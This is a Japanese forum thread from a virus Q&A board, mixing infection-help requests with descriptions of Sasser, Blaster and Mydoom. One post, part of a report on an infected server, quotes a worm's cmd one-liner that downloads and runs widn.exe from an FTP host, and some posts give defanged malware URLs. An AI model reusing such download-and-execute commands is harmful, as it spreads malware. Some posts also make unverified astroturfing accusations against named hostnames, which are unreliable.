ウィルス情報質問　総合スレッド★Part36

ウィルスに関わる話題・質問はこちら。
Winny、P2P関連のウィルスは、Download板に専門スレッドがあります。

【　　最　　重　　要　　事　　項　　】
ウィスルやブラクラだと思われる物の直リンは厳禁！！！！！！！！！！
質問の時は頭の『ｈｔ』を抜いて貼り付ける事

【質問する前、書き込む前に必読する】 テンプレサイト
コンピュータウィルス総合スレッド　テンプレミラーサイト（PC初心者板）
http://pcqa.tripod.co.jp/virus.htm
【警報】Winnyを狙ったワーム・ウイルス情報 テンプレまとめサイト（Download板）
http://www.geocities.jp/kemkzuenc/Antinny.html

尚、質問・回答が効率的に行えるよう、質問時には次のテンプレを使用してください。

【使用OS】
【WindowsUpdateしてるか】
【AntiVirusは何を使っているか】
【ちゃんとUpdateしてるか】
【スキャンした結果（ウイルス名・発見場所）】
【別のオンラインスキャンしたならその結果は】
【症状を具体的に、分かる限りすべて書く】
【何をしたらそんなことになったのか】
【これまでにとった措置】
【その他の質問】

前スレ
ウィルス情報質問　総合スレッド★Part35
http://pc8.2ch.net/test/read.cgi/sec/1141130947/

■■ウィルス定義データは定期的に更新しよう■■
メーカー製パソコンにはウィルス監視ソフトがプリインストールされていることが多いです。
しかし、それだけでは万全ではありません。なぜなら、新しいウィルスが次々と登場するからです！
監視ソフトのデータベースに無ければ、新しいウィルスは検出できません。
そのため、ウィルス監視ソフトには 「データの更新」機能が用意されています。
監視ソフトのメーカーのコンピューターに接続し、最新のウィルス情報を手に入れることが重要なのです。

最近出来た新しいウィルスは、ウィルスデータを更新していなければ検出できません。
ウィルス監視ソフトを導入しているからと安心せず、必ず定期的にデータの更新を行ないましょう！
データ更新をしなければ、監視ソフトも役に立ちません。

■■ワクチンメーカーリンク集■■　　※ウィルス監視ソフトをワクチンソフトとも呼びます。

・トレンドマイクロ株式会社　http://www.trendmicro.com/jp/home/personal.htm
　製品名：ウイルスバスター2006インターネットセキュリティ他
・株式会社シマンテック　http://www.symantec.com/region/jp/
　製品名：NortonAntiVirus、NortonInternetSecurity他
・VINTAGE SOLUTIONS, INC （バーテックスリンクより移管）
http://www.vintage-solutions.com/Japanese/
　製品名：ANTIDOTE （アンチドート）
・株式会社アラジンジャパン　http://www.aladdin.co.jp
　製品名：eSafeProtect
・コンピュータアソシエイツ株式会社　http://www.caj.co.jp/
　製品名：InocuLAN、CheyenneAntiVirus
・マカフィー株式会社　http://www.mcafee.com/jp/default.asp
　製品名：McAfee VirusScan
※プリインストール版のMcAfee VirusScanは、古いバージョンのデータ更新が打ち切られています。
　http://www.nai.com/japan/download/dat3end.asp　（リンク切れ）
　該当する場合は諦めてノートンかウィルスバスターを買いましょう。

■■ウィルスに感染しないために■■
★ウィルス監視ソフトを常駐させよう。
　→常に見張っていてくれる監視ソフトを導入すれば、あなたの負担もグッと減ります。
★知らない人から届いた添付ファイルに注意！
　→知らない人からファイルをもらう理由はありません。
★添付ファイルのファイル名だけで信用しない！
　→ファイル名だけでは中身は分かりません。
★知り合いからの添付ファイルでも、注意しよう！
　→アドレス帳に登録されている人に送信するウィルスもあるので注意が必要です。
★怪しいファイルをダウンロードしない。
　→怪しいファイルにウィルスが混入しているケースもよくあることです。
　　怪しいファイルや違法性のあるファイルはダウンロードしないようにしましょう。
■■ウィルスを発見・感染したら届け出を！ ■■
　もしウィルスを発見したり、感染してしまったら届け出をしましょう！
★IPAセキュリティセンター　コンピュータウイルスに関する届出について
　http://www.ipa.go.jp/security/outline/todokede-j.html
　こちらに届け出の方法などが記載されています。
　E-mail・郵送・FAXが利用できますので、ぜひ届け出ましょう。

W32.Sasser.Wormとその亜種にご注意！！
このウイルスは、MS04-011 の悪用を試みるワームです。
ランダムに選択された IPアドレスを持つコンピュータを走査し、拡散します。
亜種も出現しているので、 出現後にウイルス監視ソフトの定義ファイルを 更新していない場合、 ウイルススキャンで検出できません。
最新の定義ファイルに更新しましょう。
●症状
ネットワークの反応が遅く、 メッセージボックスのシャットダウンへのカウントダウンが始まります。
下に「lsass.exeの異常終了です」などと表示されます。
もし「RPCの異常終了です」ならば、次のBlaster/Welchiaです。
「スタート」メニュー→「ファイル名を指定して実行」に
shutdown -a と入力し、[OK] する。これでカウントダウンは止まります。
●予防策
MS04-011のパッチを適用する。
http://www.microsoft.com/japan/technet/security/bulletin/MS04-011.mspx
●下記サイトにも情報が掲載されているので、参照して下さい。
Sasser ワームについてのお知らせ
http://www.microsoft.com/japan/security/incident/sasser.mspx
* Windows XP編
http://www.microsoft.com/japan/security/incident/sasser_xp.mspx
* Windows 2000編
http://www.microsoft.com/japan/security/incident/sasser_2k.mspx
* シマンテック
http://www.symantec.co.jp/region/jp/sarcj/data/w/w32.sasser.worm.html
http://www.symantec.co.jp/region/jp/sarcj/data/w/w32.sasser.b.worm.html
* トレンドマイクロ
http://www.trendmicro.co.jp/vinfo/virusencyclo/default5.asp?VName=WORM_SASSER.A
http://www.trendmicro.co.jp/vinfo/virusencyclo/default5.asp?VName=WORM_SASSER.B
http://www.trendmicro.co.jp/vinfo/virusencyclo/default5.asp?VName=WORM_SASSER.C
http://www.trendmicro.co.jp/vinfo/virusencyclo/default5.asp?VName=WORM_SASSER.D

Blaster / Welchia についての情報
このウイルスは、MS03-026 の悪用を試みるワームです。
●症状
ネットワークの反応が遅く、
シャットダウンへのカウントダウンが始まります。
メッセージボックスの下に「RPCの異常終了です」などと表示されます。
もし「lsass.exeの異常終了です」ならば、上のSasserです。
「スタート」メニュー→「ファイル名を指定して実行」に
shutdown -a と入力し、[OK] する。これでカウントダウンは止まります。

Blasterにはいくつかの亜種があります。
マイクロソフトの解説ページ
http://www.microsoft.com/japan/technet/security/virus/blaster.asp
Blaster トレンドマイクロ
http://www.trendmicro.co.jp/vinfo/virusencyclo/default5.asp?VName=WORM_MSBLAST.A
Blaster シマンテック
http://www.symantec.co.jp/region/jp/sarcj/data/w/w32.blaster.worm.html
Welchia トレンドマイクロ
http://www.trendmicro.co.jp/vinfo/virusencyclo/default5.asp?VName=WORM_NACHI.A
Welchia シマンテック
http://www.symantec.co.jp/region/jp/sarcj/data/w/w32.welchia.worm.html

「W32/Netsky」ウイルスの亜種（Netsky.Q）に関する情報
http://www.ipa.go.jp/security/topics/newvirus/netsky-q.html
・差出人アドレスは詐称されます。
・件名：　以下のいずれかひとつ
　　* Mail Delivery System (＜受取人メールアドレス＞)
　　* Failure (＜受取人メールアドレス＞)
　　* Delivered Message (＜受取人メールアドレス＞)
　　* Deliver Mail (＜受取人メールアドレス＞)
　　* Delivery Error (＜受取人メールアドレス＞)
・添付ファイル名：　{ message、data、mail、msg } + { ランダムな数字、なし } + { .pif , .zip }
　　　例： date7386.pif 、 message19392.zip など

「W32/Mydoom」（別名：Novarg）ウイルスに関する情報
http://www.ipa.go.jp/security/topics/newvirus/mydoom.html
・差出人アドレス（From）：　コンピュータから取得できたアドレスを詐称。
・件名：（以下の候補のいずれかを選択）
　　* Error
　　* Status
　　* Server Report
　　* Mail Transaction Failed
　　* Mail Delivery System
　　* hello
　　* hi
　　[ 任意の文字列 ]
・本文：（以下の候補のいずれかを選択）
　　"test"
　　"The message contains Unicode characters and has been sent as a binary attachment."
　　"The message cannot be represented in 7-bit ASCII encoding and has been sent as a binary attachment."
　　"Mail transaction failed. Partial message is available."
　　[ 任意の文字列 ]　　[ 空白 ]
・添付ファイル名：　ランダムなアルファベット

「既出です」Q&A
Q1．ノートンを使っていたら、２ｃｈのログからウィルスを発見しました。
　　　ノートンをインストールしたら2chに書けなくなりました。
A1．ここを読みましょう。
http://info.2ch.net/wiki/pukiwiki.php?%A5%CE%A1%BC%A5%C8%A5%F3%C6%FE%A4%EC%A4%BF%A4%E9%A3%B2ch%A4%CB%BD%F1%A4%AD%A4%B3%A4%E1%A4%CA%A4%A4%BF%CD%A4%D8

Q2．ウィルスを検出しましたが、どんなウィルスかわかりません
A2．各アンチウィルスベンダーのウィルス情報をまず確認しましょう。
・Symantec Security Response
http://www.symantec.com/region/jp/sarcj/vinfodb.html
・Trend Micro ウイルス情報
http://www.trendmicro.co.jp/vinfo/virusencyclo/default.asp
・McAfee ウイルス情報
http://www.mcafeesecurity.com/japan/security/vlibrary.asp

Q3.「世界の中心で生まれてきてすいません」という表示が出てきました 。
　　デスクトップの背景が蓮画像になってしまいます 。
A3．Winny関連ウィルスですので、Download板へどうぞ。
　　ブラクラに仕込まれている場合もあるので、心当たりがなくても一度参照して下さい。
Winnyを狙ったワーム・ウイルス情報 Part54
http://tmp6.2ch.net/test/read.cgi/download/1146159356/

Q4．アンチウィルスソフトを持っていないのですが、無料のものはないですか？
A4．このスレでフリーのアンチウィルスソフトを取り扱っていますので確認して下さい。
フリーのアンチウイルスソフト Part7
http://pc8.2ch.net/test/read.cgi/sec/1137773269/

Q5．ホームページが変なページになってしまいます
A5．ウィルスではなくスパイウェアですので、こちらへどうぞ
エロサイトを見たら…助けてください！Part61
http://pc7.2ch.net/test/read.cgi/pcqa/1141370819/

関連スレッド

Winnyを狙ったワーム・ウイルス情報 Part54
http://tmp6.2ch.net/test/read.cgi/download/1146159356/
sasser【スタコラサッサ】sasser　Part２
http://pc5.2ch.net/test/read.cgi/sec/1083839516/
Blasterスレ　part5
http://pc8.2ch.net/test/read.cgi/sec/1065964513/
【差出人】WORM_NETSKY【詐称】
http://pc5.2ch.net/test/read.cgi/sec/1080741342/
「Nimda !! 」【その４】
http://pc5.2ch.net/test/read.cgi/sec/1001864573/
エロサイトを見たら…助けてください！Part61
http://pc7.2ch.net/test/read.cgi/pcqa/1141370819/
【緊急!】ウィルス即行駆除方法【助けて!】
http://pc8.2ch.net/test/read.cgi/sec/1091174837/
アンチウィルスソフトのウィルス誤検出
http://pc8.2ch.net/test/read.cgi/sec/1027753135/
毎日ｳｨﾙｽﾒｰﾙが送られてくるのですが･･2通目
http://pc8.2ch.net/test/read.cgi/sec/1086494732/

関連スレは次スレに移行してる場合もあります。


質問する前に検索しましょう
http://www.yahoo.co.jp/
http://www.google.co.jp/

テンプレここまで。
古いところもありますが、適宜ヨロシクということで、ﾏﾀｰﾘいきまっしょ。

信頼性の高いav-comparatives.orgという専門組織が行った、
アンチウイルスの最新の総合性能テスト結果。

http://www.av-comparatives.org/seiten/ergebnisse_2006_02.php
※polymorphicウィルス検出結果
1位 ノートン　　　　　　　　　　　100%
2位 AntiVirusKit（G DATA）　　99,9%
3位 Kaspersky5、F-Secure6　99,4%

※ウイルス検出結果（DOSウイルスは含まない）
1位 AntiVirusKit（G DATA）　 99,84%
2位 F-Secure6　　　　　　　　　99,58%
3位 Kaspersky5　　　　　　　　 99,57%

※DOSウイルス検出結果
1位 AntiVirusKit（G DATA）　 99,89%
2位 Kaspersky5、F-Secure6　99,77%

4位 NOD32 v2.5　　　　　　　　 98,77%

polymorphicウィルスとは
http://www.lifeboat.jp/support/db/006051117018.html

スレ立て乙

NOD32厨の工作にご注意を。
他製品のサポートサイトから過去のトラブルを探して、自分のPC上で起こっていないトラブル相談を、
ユーザーを装って大量に自演でネットに投稿したり、自分で糾弾スレを立てたりしています。

当板に住みついているNOD32厨（淫厨とﾍﾟｽﾄﾊﾟﾄﾛｰﾙ厨を兼ねる）の紹介スレ
http://66.102.7.104/search?q=cache:yFC7aJM6xCgJ:l-lab.org/pukiwiki/pukiwiki.php
http://tmp6.2ch.net/test/read.cgi/tubo/1145644897/
http://z-temp.hp.infoseek.co.jp/2ch/Prescott699-.html
http://science3.2ch.net/test/read.cgi/infosys/1088029040/
過去に確認されているリモホ
osaknt01.ap.so-net.ne.jp
osaka-ip.dti.ne.jp
acca.osaka.ocn.ne.jp
P219108012044.ppp.prin.ne.jp（PHS）

ψ【ウイルス最新情報スレッド】
http://pc8.2ch.net/test/read.cgi/pcnews/1098350729/

セキュリティ初心者質問スレッドpart69
http://pc8.2ch.net/test/read.cgi/sec/1145518029/

>>1
おつ！

>>1
　＼ 乙 ／ 　　　 ＼ ｶﾚｰ ／
　　　　＿＿
　　　/　　　/.|
　　/　　　/.　|
　/＿＿/./|　|＿_
　|＿＿|/　.|　|__| |　　_＿＿＿＿
　　　(ﾟДﾟ,,)|　| //　　.| ﾎﾞﾝｶﾚｰ|:|
　　 (/　　ヽ) |//　　　| (ﾟдﾟ,,)　.|:|
　　　| ∞　| 　/　　　 (/ 辛　ヽ).|:|
　　　＼＿＼/　　　　 |_＿　　＿|:|
　　 　U"U￣　　　　　　　U"U
結構時間かかったなぁ、今やっと見に来たんだけど

すでに出ていると思いますが
直しかたがわかりません

-症状-
1.変なコンソールが出た

2.すべてのプログラムの中身やショートカット消えていった

3.再起動後、
NTLDR is missing
の文字が出てWindowsXPが起動しない


-環境-
CPUがAthlon64 3700のeMachineJ6452です
FDDは無し
HDDは250GBが一つ

-試したこと-
1.最低限の装備の環境で起動してみた
2.CMOSクリア

ウィルスだというのはわかりましたが
解決策をご存知の方、御教授願えますか?

リカバリ汁

返信有難うございます

リカバリというのは
システム修復ディスクを入れて
その後、どうすればよいのですか?

>>17
擦るんだよ

しかし、システム復元CDを入れて起動すると

Press R to display eMachines System recovery options.

が出て、カウントダウンを始めます。
カウントダウンが終わると、

Press F11 to Start recovery

のカウントダウンが始まり、F11を押しても、少しの間の後

Invalid System Disk or
Disk I/O error
Press a key to restart

と出て、また最初の表示(Press R to display eMachines......)
に戻ってしまいます。

Diskが違うのでしょうか？

表示の文章を読む限り、

eMachineの修復オプションを表示するにはRを押してください。

ですし、このCDだけがこの表示をするので、システム修復CDはこれだと思うのですが......

１．CDに傷があって読み込めない
２．ドライブがいかれてて読み込めない

返信ありがとうございます。

１．CDに傷があって読み込めない
CDは袋から出したばかりなので、傷はありませんでした。

２．ドライブがいかれてて読み込めない
このPCを購入して二ヶ月ですが、どうでしょう。
ただいまからCD/DVDドライブを外して見てみます。

Disk I/O error
の時は上記の二点しか要素がありませんか？

CD/DVDドライブ、外しました。

標準装備だったスーパーマルチCD/DVDドライブですが、挿入するコードは

4Pin　と　Master/Slaveの幅広コード　の二つですか？

って・・・あんた
これかい？
つttp://downloads.emachines.com/ug/desktop/jp/8510926_hdd_readme.pdf

はい、そのリンク先のことがしたいですが、F11を押しても、

Invalid System Disk or
Disk I/O error
Press a key to restart

になってしまって、CDを読み込まない(?)ようなんです。
BIOS上ではCD/DVDドライブは認識されていて、一見壊れてはいないようです。

>>25
BIOSで何からブートするようになってる？
HDDならF11で読むだろうけど

Bootの優先順位は最優先から

CD/DVD > HDD > USB media reader > nVidia Boot agent

になっています

CD/DVD > HDD

の部分は

HDD > CD/DVD

に入れ替えてみたりもしましたが...

結果は同じでした、>>19に回帰してしまいます

バラしちゃったの？　　うわぁーー
んじゃしょうがないから買ったところに電話して
「CD読めんぞｺﾞﾙｧ　すぐ送れや」と電話汁

イーマだったら送ってくれるはず

>>27
機種晒してないよね、HDDにﾘｶﾊﾞﾘ領域持ってるのか
CDやDVDでのﾘｶﾊﾞﾘ方式なのかでかわらない？
前記ならCD入れずに起動時にF11
後記ならCDいれて起動すればAutoRunのはず

バラすというのは...どの範囲まででしょうか
当方、電源を交換、CPUファンを交換などはしましたが...
また、バラす(?)ことによって販売店、またはeMachines(GateWay)の
サポートを受けられなくなる等、の害があったのでしょうか ;;

>>30
以前、このPCがWindowsを起動していたときは、HDDは一つしか入れてませんでしたが、
:C　ドライブと :D ドライブがありました。

:D　ドライブは復元パーティションだったようです。


HDDのコードの形状はIDEだと思います。
250GBの容量でした。

電話によるテクニカルサポート
　(朝6時から深夜12時まで年中無休。祝日も含む)

しっかし　>当方、電源を交換、CPUファンを交換などはしましたが...
これやる奴が>15みたいな質問するのが信じられん

まして　>:D　ドライブは復元パーティションだったようです。

　　本当に信じられん

>>34
当方、最初に買ったPCはMachintoshでして...
575から始まって、G3、Ibook、G5など購入しました。
使用していたOSも漢字Talkから、OS8.9.X Panther Tigerと使ってきました。
もちろん、改造もいろいろしましたが...

そして、最近になって交友関係からWindows薦められ、eMachine購入に至った訳です。
内部の改造も早い段階から模型感覚で進めてしまって...
CPUファンを二段にしたりして喜んでた矢先にトラブルが発生してしまいました;;

Windowsの方では、知識足らずで本当に申し訳ありません...

【セキュリティの基本】

ツールに頼るよりも用心の方が大事。

たとえばWinnyの類をやるなら、個人情報の類がまったく入っていない、
Winny専用のセカンドPCも用意しなくちゃ駄目(´･ω･) ｽ
厄介な新種、亜種に感染したらOSごとクリーンインスコが一番確実。

トラブルが多くて、効果が不確実なアンチウイルス製品などに頼り切るよりも、
怪しげなファイルは実行しないという【基本】を重視しよう。
アンチウイルスを頼ってばかりでは駄目(´･ω･) ｽ

例）
>NOD32　主なトラブル履歴
>
>2005年9月ブルースクリーンが生じてWindowsが停止する問題が再発。リリース中止。
>http://canon-sol.jp/product/nd/nd_update.html
>レジストリが破壊されてWindowsシャットダウン時にブルースクリーンとなる問題
>登録済みのアプリケーションが強制削除される問題
>http://canon-sol.jp/product/nd/v20008.html
>通信不能となって最悪の場合はOSがリブートの繰り返しになる問題
>http://canon-sol.jp/supp/nd/wndt4210.html
>スキャンすると受信メールの全部が削除される問題
>http://canon-sol.jp/supp/nd/wndt7003.html
>プリンタとの相性で印刷不能になる問題。
>http://canon-sol.jp/supp/nd/wndt4205.html
>Windowsアップデートができなくなる問題
>http://canon-sol.jp/supp/nd/wndt4212.html

>>35
多分基本的に違うんだろうね
抽象的過ぎて解からないけど
HDD内の復元ﾊﾟｰﾃｨｼｮﾝは
おそらくゴーストだろうね
一般的だから
表面的には見えないだろうから
やっぱり電話して（交換したことは内緒で）
素直にサポートを仰ぐのが手っ取り早い
ﾘｶﾊﾞﾘﾃﾞｨｽｸや領域はハードウェアの置換が
原因で（確かポイント制）効かなくなるから
それが原因かも（これは不明）

万が一、元の機器に戻せるなら
そうしてから使用すると、おｋかも？

返信、ありがとうございます。
最初の構成での起動も試しましたが、やはり駄目でした。

いずれ必要になるかと思い、新しいHDDを先ほど購入しました。
自宅に届くのを待っています。
HDDを交換して、駄目だったらサポートに電話してみたいと思います。

付き合っていただいたみなさん
どうもありがとうございました

p.s Mcafeeの期限が切れていたみたいです
どうみてもバカフィーです
どうもありがとうございました

大変だなおまいも

はい、18の春、GWは潰れそうです。

>>40
駄目元でエアスプレーやクリーナーディスクでドライブを掃除したらどうだろう。

そうですね、クリーナーディスクを試してみます。

Mac用のCDドライブが互換性を持ち合わせていればよかったのですが...
一応、所持しているものは全部試してみようと思います。

>>42
乙

実際、こういう対処の仕方になってくると
セキュリティ板は板違いだったのかもしれませんね。

誰か KAIST（韓国科学技術院）に知り合いがいたら次のことを伝えてください。
（あまり期待はしていませんが）

segfault.kaist.ac.kr (143.248.138.97) がワームに感染していて ftp で
ワームを送り出しています。
５月１日から二度にわたって、[email protected] と [email protected] に
メールを送ったのですが反応なし。yahoo.co.jp のアカウントで送ったので
スパムに分類されたのかもしれません。
とにかく今現在も ftp でワームを供給しています。

ワームを供給している ftp サーバー
server name： ftp.autosolve.com (143.248.138.97)
port: 21
user name : fuck
password : **** （伏せておきます）

この ftp サーバー上のファイルはただひとつ widn.exe で、
これは W32.Spybot.AFEW/W32.Spybot.ACDM 系統のワームです。

以下はワームのプロセスをダンプして出てきた文字列。

"cmd /k echo open ftp.autosolve.com>>iii&echo fuck>>iii
&echo ****>>iii&echo get widn.exe>>iii&echo bye>>iii
&ftp -s:iii&del /q /f iii&widn.exe\r\n"

ところで ftp.autosolve.com とファイルにハードコーディングされているのが
不思議です。最初はダイナミック DNS かと思ったのですが、www.autosolve.com を
のぞいてみると、何か中古自動車のディーラーのような、検査会社のような？
ここもハッカーに乗っ取られているのでしょうかね。

WinXP
NotonAntiVirus2006.Auto-Protect有効
Windowsファイヤウォール有効

Spyware.Winspy
オンラインゲームのファイルの一つであるij11.dll(IntelR JPEG Library)で検出されました。
ゲームプレイ中に警告があり、スキャンすると未解決リスクとなって結果が出ます。
推薦処理はファイルの削除なのですが、削除してしまうとゲームが起動できなくなります。
1度削除し、ゲームクライアントの再ダウンロードを行ったところ、インストール中に同じファイルで警告が出ます。
Spybot、Ad-awareSEでもスキャンを行いましたが検出されません。
有害なファイルなのでしょうか？

Winspyの削除方法、進入させないための効果的な作業を教えていただきたいです。
よろしくお願いします。

連投すみません。
セーフモードでもスキャン済です

>>47
これじゃダメなん？・・・つttp://www.symantec.com/region/jp/avcenter/venc/data/spyware.atwinspy.html

ありがとうございます。どうやら
ttp://www.symantec.com/region/jp/avcenter/venc/data/jp-spyware.winspy.html
こちらのようです。こちらの情報不足でした、すみません・・

ゲームクライアントの再インストール中、ネットワーク接続を切った状態で試してみましたが
やはり同じファイルで検出されます。
クライアントに含まれているものなのでしょうか・・

>>49
失礼しました
「リスクが検出されないように設定」の表記から
そのようでうね、信頼するかどうかの問題のようです

誤検知のたぐいですかね。安心致しました・・
どうもありがとうございました。

教えてください。

WinXP Pro SP2、WindowsUpdate済み
ウィルスバスター2005（オートアップデート）
スキャンでの反応なし

という状態なのですが、昨日PCをオンし、Spleipnirを立ち上げたところで、画面全体が白く、
その上にドイツ語でなんか書かれた画面になりました。
ドイツ語は分からないのですが、画面びっしりの文字ではなくて、映画のエンドロールのような
感じでした。
そのときはﾋﾞﾋﾞｯﾀので、そのままLANコード引っこ抜いて、シャットダウンしました。

その後は、PCを立ち上げても上記の画面が出てきません。あいかわらず、WBの反応はﾅｼ。

これって、ウィルスなんでしょうか。

アドウェア・スパイウェア駆除ソフトも合わせて使ってみるべきだと思います
多分アドウェアの類じゃないかと。
あとはウィルスバスター以外のオンラインスキャンかな？
おそらく前者で検出されると思います。

>>53
ありがとうございます。あとで試してみます。
何ヶ月か前、ドイツ語ウィルスのニュースをネットで見た気がしたので、それかと思ってました。

仕事でも使ってるPCなので、この機会にシステムを再インストールしようと思ってます。
C,D,Eとパーテション分けてて、D,Eはデータ置き場（主に文書や画像）に使っているので、
現在、そのデータを吸い上げ中です（バックアップ取ってなかった）。

で、再び質問で恐縮なのですが、これから
HDDフォーマット→CにXP再インストール→D,Eのデータを再びコピー
という手順で作業する際、D.Eドライブのデータはウィルススキャン、スパイウェアスキャンの
ほか、なんかやっといた方がいいことってありますか？

>>54
当然でしょうね。

Diabloか

この前おもしろい質問のDX版を作ってるんだけど、完成したら貼ってもいい？
期待なんてしないでくれ。

ネタ質フォー！
【使用OS】 WindowsXP SP2 （ブラウザ:IE6 SP2）
【WindowsUpdateしてるか】 Sir,Yes Sir!
【AntiVirusは何を使っているか】 WinAntiVirus PRO 2006/WinFixer 2006/ErrorSafe
【ちゃんとUpdateしてるか】 Sir,Yes Sir!
【スキャンした結果（ウイルス名・発見場所）】 いくつか見つかるけど誤検出w
【別のオンラインスキャンしたならその結果は】 Trojan-ZlobとかAd-Wareとかのマルウェアが
「WinAntiVirus PRO 2006/WinFixer 2006/ErrorSafe」等から多数検出、
【症状を具体的に、分かる限りすべて書く】 BSOD連発。PCの処理に時間がかかる。CPUが100%から解放されない。
起動時間も10分を超えた。広告のポップアップも数倍に増幅。等々
【何をしたらそんなことになったのか】 PCの起動時間を現在の3分40秒から1分以内に短縮したくて、
F-Secureインターネットセキュリティ2006を削除→上記の『セキュリティ"対策"ソフト』を購入→インストール
【これまでにとった措置】 カード会社に連絡→クレジットカード番号の変更、
禁断のテンプレを通常モードとセーフモード（Administrator権限）で実行したが失敗に終わった。
【その他の質問】 こんな典型的なインチキソフトをインストールしてしまうなんて、
ボクは…騙されてしまったのでしょうか？

>>58
GJ!

え？('A`)

【使用OS】 Windows XP SP1
【WindowsUpdateしてるか】 しています
【AntiVirusは何を使っているか】　ウイルスバスター2004
【ちゃんとUpdateしてるか】　してます
【スキャンした結果（ウイルス名・発見場所）】　TROJ_AGENT.AWD
場所は _restore{1A7AFC79-C742-4D2F-95C8-6EF0A4EF7459}
【別のオンラインスキャンしたならその結果は】 上記と同じでした
【症状を具体的に、分かる限りすべて書く】　目立った症状はありません
【何をしたらそんなことになったのか】　分かりません
【これまでにとった措置】　セーフモードでのウイルススキャン
【その他の質問】　レジストリ改変しているところまで分かりました。
　　　　　　　　　　　どの値を削除、あるいは変更すればよいのか、ご教授お願いします。

>61
＞場所は _restore{1A7AFC79-C742-4D2F-95C8-6EF0A4EF7459}
システムの復元フォルダでは？
一度システムの復元を無効→復元有効でいいかも。

俺が書いた>58（ネタ質）がマジだったら
＞【症状を具体的に、分かる限りすべて書く】 BSOD連発。
の時点でリカバリー決定だなw

>>62
ありがとうございます。
無効→スキャンで検出されませんでした。

トレンドマイクロのHP見たら_restoreに関する記述があった……。
ちゃんと見なくちゃな……。

あげ

2ちゃんに書き込むと板？によっては
自分のIPが名前欄にsoftbank〜〜〜〜〜〜と
表示されるのですけどウイルスなんでしょうか？

狼か

>>65
板違い。ネットワークセキュリティに関係ない。
http://etc3.2ch.net/qa/へ。

ウィルスかどうかは、ウィルススキャンして確認しろ。テンプレ>>1-8参照。

【使用OS】 windows xp
【WindowsUpdateしてるか】 多分。。。
【AntiVirusは何を使っているか】 ノートンインターネットセキュリティ
【ちゃんとUpdateしてるか】 手動では最近はやってませんでした。
【スキャンした結果（ウイルス名・発見場所）】
spy sweeperというスパイウェアをやってみたら　「system spy」が検出されて
しまいました。
これはスクリーンショット、オンラインショッピングのカード番号などが知られて
しまうウィルスのようですが、もう駆除はしましたが、これまで監視されていたという
ことは、なにか悪用されてしまう恐れがあるということでしょうか？
どうしたらいいのでしょうか？本当に初心者です。アドバイスお願いします。

>>68
http://pc8.2ch.net/test/read.cgi/sec/1140158333/
Spy Sweeper Part2

【使用OS】WindowsXp Home
【WindowsUpdateしてるか】 しています
【AntiVirusは何を使っているか】 ウイルスバスター2006
【ちゃんとUpdateしてるか】 しています
【スキャンした結果（ウイルス名・発見場所）】バスターに引っかからず
【別のオンラインスキャンしたならその結果は】
【症状を具体的に、分かる限りすべて書く】 何も起こらないので逆に不安に
【何をしたらそんなことになったのか】 拾ったファイルがフォルダアイコンに偽装されたexeファイルで起動してしまった
【これまでにとった措置】とりあえずスタートアップ、レジストリに変更点がないか確認　Microsoftにある悪意あるファイルの点検？　をしてみました

実害が目に見えてないので不安なのですが、仮に何らかの亜種でバスターでの対応がなされてない場合、どの程度の期間でアップデートファイルが配布されるのでしょう。
また、最終手段としてクリーンインストールする際にバックアップを取ることは避けたほうがいいのでしょうか

よろしくお願いします

>>70
ノートンのオンラインスキャンでもしてみたら？

>>70
どこで拾ったファイルか詳しく

【使用OS】 Windows XP pro
【WindowsUpdateしてるか】 しています
【AntiVirusは何を使っているか】 Avast
【ちゃんとUpdateしてるか】 しています
【スキャンした結果（ウイルス名・発見場所）】 発見できず

【症状を具体的に、分かる限りすべて書く】
定期的に
tp://85.255.115.187/users/fill/web/images/rzspy.exe
tp://85.255.115.187/users/fill/web/images/idownload.exe
にアクセスし、その度にAvastが以下のような警告を出す

ウイルスが発見されました。ダウンロードを遮断します

　ファイル名：tp://85.255.115.187/users/fill/web/images/rzspy.exe
　マルウェアの名・タイプ：Win32:Trojan-gen. {Other}　ウイルス/ワーム

　ファイル名：tp://85.255.115.187/users/fill/web/images/idownload.exe
　マルウェアの名・タイプ：Win32:Small-TG [Trj] トロイの木馬

【何をしたらそんなことになったのか】ニューススレに張られていたURLをクリックしました
【これまでにとった措置】 AvastでHDDスキャン、Spybot・Ad-awareでスキャン･駆除
【その他の質問】
「何かのウイルス・トロイなどに感染していて、そのウイルスが外部から
rzspy.exeやidownload.exeをダウンロードしようとし、その度にAvastが
遮断するけど、何が原因かわからない」
という状態です。

追加です

://w　w　w　.google.co.jp/search?hl=ja&q=www.doubleh.fr/audio/index.htm&btnI=I%27mFeelingLucky&Ir=

を踏んだらおかしくなりました。
先頭のhttpを消してスペースを入れていますが、このURLにクリックしないでください。

またか

>>74
そこを調べたらxpl.wmfというのが落ちてきて、これが原因みたいだよ。
ttp://www.mcafee.com/japan/security/virE.asp?v=Exploit-WMF
他のオンラインスキャンでも試してみたら？

>73
RemoveToolbarというのがIEに張り付いてないか確認

【WindowsUpdateしてるか】 自動更新
【AntiVirusは何を使っているか】 Avast!
【ちゃんとUpdateしてるか】 してます
【スキャンした結果（ウイルス名・発見場所）】 Dドライブに保管しているゲームいくつかの実行ファイルから、
　　　　　　　　　　　　　　　　　　　　　　　　　　　Win32:Starax [Trj]を検出。
【症状を具体的に、分かる限りすべて書く】 無い。
【何をしたらそんなことになったのか】 ひさしぶりにプレイしようとダブルクリックしたとたんに検出。
【これまでにとった措置】 現在、全ドライブスキャン中
【その他の質問】 このトロイに関する情報が、Google,Yahoo,MSNなどさまざまな検索でも見当たりません。一体どんなトロイなのでしょうか？

ゲームは全て数ヶ月〜1年ほど前に入手したもので、今まで一切マルウェアの反応はありませんでした。
気付かないうちに、不注意で侵入させてしまったのでしょうか？

>>78
侵入していたが、アンチウイルスの対応が遅れていて
検知しなかった。
その後にアンチウイルスが対応し、発見に至った。
という場合もある。

【WindowsUpdateしてるか】 自動更新です
【AntiVirusは何を使っているか】 Norton AntiVirus
【ちゃんとUpdateしてるか】 してます
【スキャンした結果（ウイルス名・発見場所）】 デスクトップPCのCドライブに保管してた圧縮ファイルの中。
ノートパソコンでスキャンしても検知してくれないので名前が分からない…
【症状を具体的に、分かる限りすべて書く】 Mydocumentに(ﾟ∈ﾟ*)***.jpgを作成、リブート後に
「システムがビジーです」の表示の無限増殖、システムの復元の無効です。
なんとかセーフモードから復旧させたのですが、システムの復元だけ有効に
することができないのです。（エラーが発生）
【何をしたらそんなことになったのか】 見るからに怪しげな実行ファイルを反射的に
ダブルクリックしてしまいましたorz
【これまでにとった措置】 全ドライブスキャン。
【その他の質問】 ウイルス名か、システムの復元を有効に戻せる方法を知っている方がおられましたら
どうか宜しくお願い致します

こりゃリカバリが最善だね。

【使用OS】
Windows XP Version 2002 ServicePack 2
